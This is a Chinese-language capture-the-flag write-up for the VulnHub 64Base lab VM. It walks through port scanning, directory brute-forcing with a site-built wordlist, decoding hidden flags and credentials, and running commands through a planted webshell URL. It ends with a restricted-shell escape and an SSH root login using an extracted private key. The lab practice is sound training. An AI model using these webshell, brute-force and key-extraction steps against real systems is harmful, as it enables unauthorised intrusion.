2020-1-7:vulnhub靶场练习,64Base

一、环境搭建

1,下载地址,https://www.vulnhub.com/entry/64base-101,173/

2,使用VirtualBox虚拟机软件,导入

3,启动,为了方便练习,网卡设置的桥接模式

二、渗透练习

1,获取靶机ip地址

输入命令,netdiscover,获取到靶机ip地址,192.168.1.102

 2,获取靶机开启哪些服务,端口

输入命令,nmap -sT -T4 -p- 192.168.1.102

 -sT,TCP connect()扫描,这是最基本的TCP扫描方式。这种扫描很容易被检测到,在目标主机的日志中会记录大批的连接请求以及错误信息。

-T4,指定扫描过程使用的时序(Timing),总有6个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,在网络通讯状况良好的情况推荐使用T4

-p-,指定扫描的端口为所有端口,及1-65535

 发现开启了,22,80.4899,62964端口

22,为SSH服务

80,为HTTP服务

4899,Radmin远控服务,是一个远程控制软件(remote administrator)服务端监听的端口

62964,不是常见端口

3,既然开启了80端口,就访问网站,看看是否有突破口

首页

About页

 POST页

CONTACT页

 

 4,根据首页提示的Base64解密得到的信息,查看首页源码,发现一串字符串

 得到的字符串为:

5a6d78685a7a4637546d705361566c59546d785062464a7654587056656c464953587055616b4a56576b644752574e7151586853534842575555684b6246524551586454656b5a77596d316a4d454e6e5054313943673d3d0a

 字符串为16位字符串,进行转码,得到字符串:

ZmxhZzF7TmpSaVlYTmxPbFJvTXpVelFISXpUakJVWkdGRWNqQXhSSHBWUUhKbFREQXdTekZwYm1jMENnPT19Cg==

 显然字符串为Base64加密的,解密为第一个flag:

flag1{NjRiYXNlOlRoMzUzQHIzTjBUZGFEcjAxRHpVQHJlTDAwSzFpbmc0Cg==}

5,看flag1里面的值也是Base64加密的,所以对flag1的值进行解密,得到字符串

64base:Th353@r3N0TdaDr01DzU@reL00K1ing4

 

7,寻找线索,在POST页面最下边,找到线索

图像下边有一句:IMPORTANT!!! USE SYSTEM INSTEAD OF EXEC TO RUN THE SECRET 5H377。

再下边有一句评论:Only respond if you are a real Imperial-Class BountyHunter

 

 8,输入命令,dirb http://192.168.1.102 | grep "CODE:401",爆破目录,发现admin目录

 进行访问

 

使用flag得到的账号密码登录不上

9,候制作暴破的密码字典并开始暴破,通过递归复制博客中的所有内容(包括robots.txt,HTML和JavaScript)来制作字典。使用wget正确的标志允许我们将所有内容转储到单个文件中。然后我们可以使用的工具html2dic,并 sort 把它清理干净,并将其转换成可用单词表。

输入命令:wget http://192.168.1.102 -rq -O base64.out

输入命令:html2dic base64.out|sort -u > base64.dict

输入命令:wc -l base64.dict 

输入命令:dirb http://192.168.1.102 base64.dict|grep "CODE:401"

重新爆破出一个目录,Imperial-Class

 访问新爆破出来的目录,一样提示要登录,输入flag1得到的账号密码,登录成功,但是报错,路径不正确,提示TO THE DARK SIDE!

 

 10,想到之前POST界面的提示信息:Only respond if you are a real Imperial-Class BountyHunter,就得到路径

http://192.168.1.102/Imperial-Class/BountyHunter/

 

 使用flag1得到的账号密码,进行登录,发现界面虽然没有变,但是url变成了

http://192.168.1.102/Imperial-Class/BountyHunter/index.php

 

源码下多出了一串字符串

basictoken=52714d544a54626d51315a45566157464655614446525557383966516f3d0a

 

 还有两个id

id="5a6d78685a7a4a37595568534d474e4954545a4d65546b7a5a444e6a645756" 

id="584f54466b53465a70576c4d31616d49794d485a6b4d6b597757544a6e4c32"

将得到的几串id值,和basictoken的值放在一起,得到字符串

5a6d78685a7a4a37595568534d474e4954545a4d65546b7a5a444e6a645756584f54466b53465a70576c4d31616d49794d485a6b4d6b597757544a6e4c3252714d544a54626d51315a45566157464655614446525557383966516f3d0a

看来还是16位编码的,解码之后得到字符串

ZmxhZzJ7YUhSMGNITTZMeTkzZDNjdWVXOTFkSFZpWlM1amIyMHZkMkYwWTJnL2RqMTJTbmQ1ZEVaWFFUaDFRUW89fQo=

对得到的Base64编码的值再次解码,得到

flag2{aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj12Snd5dEZXQTh1QQo=}

 

 11,把flag2里的值进行解密,得到字符串https://www.youtube.com/watch?v=vJwytFWA8uA,一个视频网址

 

 12,访问连接,是一个不说话的视频,不过标题提示了,使用Burp

 

13,打开BP,重新输入flag1得到的账号密码。进行抓包,得到flag3

flag3{NTNjcjN0NWgzNzcvSW1wZXJpYWwtQ2xhc3MvQm91bnR5SHVudGVyL2xvZ2luLnBocD9mPWV4ZWMmYz1pZAo=}

14,将flag3解密得到,53cr3t5h377/Imperial-Class/BountyHunter/login.php?f=exec&c=id

 

访问页面结果为webshell界面,不过没返回值

 15,想起之前提示:IMPORTANT!!! USE SYSTEM INSTEAD OF EXEC TO RUN THE SECRET 5H377

 将URL换成http://192.168.1.102/Imperial-Class/BountyHunter/login.php?f=system&c=id,返回结果

flag4{NjRiYXNlOjY0YmFzZTVoMzc3Cg==} 还有当前用户的id

id换成ls -l,可以列出当前目录

16,对flag4的值进行解密,得到字符串

64base:64base5h377

 

 

 17,使用得到的账号密码进行ssh登录,无法登录,提示没主机,指定端口62964才是ssh服务

18,看flag4的密码字符串64base5h377,对他进行base64编码,得到NjRiYXNlNWgzNzcK

 

 使用加密之后的密码字符串,登录成功

 17,所有命令都无法运行,只有ls得到

well_done_:D

 18,发现ind,python,ruby 等很多命令都不能运行,但是 base64 可以运行

输入命令, base64 well_done_:D | base64 --decode

 19,测试发现env和echo $PATH/*也都可以运行

20,查看可用的命令,发现一条/var/alt-bin/droids

 21,不了解是什么命令,就运行了一下,出现界面

 22,发现运行过之后,打破了没法输入shell命令的情况

 23,在/var/www/html/admin/S3cR37目录下,找到了flag5

 解密得到

Look Inside! :D

 24.根据提示查看flag5

输入命令:file flag5\{TG9vayBJbnNpZGUhIDpECg\=\=\} ,发现16位字符串

25,为了看全字符串,输入命令 

flag5\{TG9vayBJbnNpZGUhIDpECg\=\=\} | /usr/bin/head

得到完整16进制字符

26,进行转码,解密,得到一个私钥

echo "得到的所有字符串" | xxd -p -r | base64 --decode 

27,将得到的私钥,输出成一个密钥文件

echo "得到的16进制字符串" | xxd -p -r | base64 --decode > /tmp/ssh.key

 28,使用得到的密钥进行登录

输入命令:ssh root@192.168.1.102 -p 62964 -i ssh.key,提示需要密钥

 29,将靶机下的flag5图片,传输到攻击机

在kali下执行命令:scp -P 62964 64base@192.168.1.102:/var/www/html/admin/S3cR37/flag5* flag5.jpeg  PS:注意这条命令用zsh shell的话会提示zsh: no matches found

 

打开图片

30,再次使用密钥登录,注意,密钥文件要改权限为600,否则无法使用

输入命令:ssh -p 62964 root@127.0.0.1 -i /tmp/ssh.key 

密码输入图片上的字符,usetheforce

登录成功,得到flag6

 

 31,逐步解密

echo "NGU1NDZiMzI1YTQ0NTEzMjRlMzI0NTMxNTk1NDU1MzA0ZTU0NmI3YTRkNDQ1MTM1NGU0NDRkN2E0ZDU0NWE2OTRlNDQ2YjMwNGQ3YTRkMzU0ZDdhNDkzMTRmNTQ1NTM0NGU0NDZiMzM0ZTZhNTk3OTRlNDQ2MzdhNGY1NDVhNjg0ZTU0NmIzMTRlN2E2MzMzNGU3YTU5MzA1OTdhNWE2YjRlN2E2NzdhNGQ1NDU5Nzg0ZDdhNDkzMTRlNmE0ZDM0NGU2YTQ5MzA0ZTdhNTUzMjRlMzI0NTMyNGQ3YTYzMzU0ZDdhNTUzMzRmNTQ1NjY4NGU1NDYzMzA0ZTZhNjM3YTRlNDQ0ZDMyNGU3YTRlNmI0ZDMyNTE3NzU5NTE2ZjNkMGEK" | base64 -d

echo "4e546b325a4451324e324531595455304e546b7a4d4451354e444d7a4d545a694e446b304d7a4d354d7a49314f5455344e446b334e6a59794e44637a4f545a684e546b314e7a63334e7a5930597a5a6b4e7a677a4d5459784d7a49314e6a4d344e6a49304e7a55324e3245324d7a63354d7a55334f5456684e5463304e6a637a4e444d324e7a4e6b4d32517759516f3d0a" |xxd -p -r|base64 -d

echo "596d467a5a5459304943316b49433932595849766247396a595777764c6d7831613256386247567a637935795a57467343673d3d0a" |xxd -p -r|base64 -d

 

得到字符串:

base64 -d /var/local/.luke|less.real

运行得到的命令,最终完成

 完

posted @ 2020-01-07 12:26  bonga  阅读(1315)  评论(0编辑  收藏  举报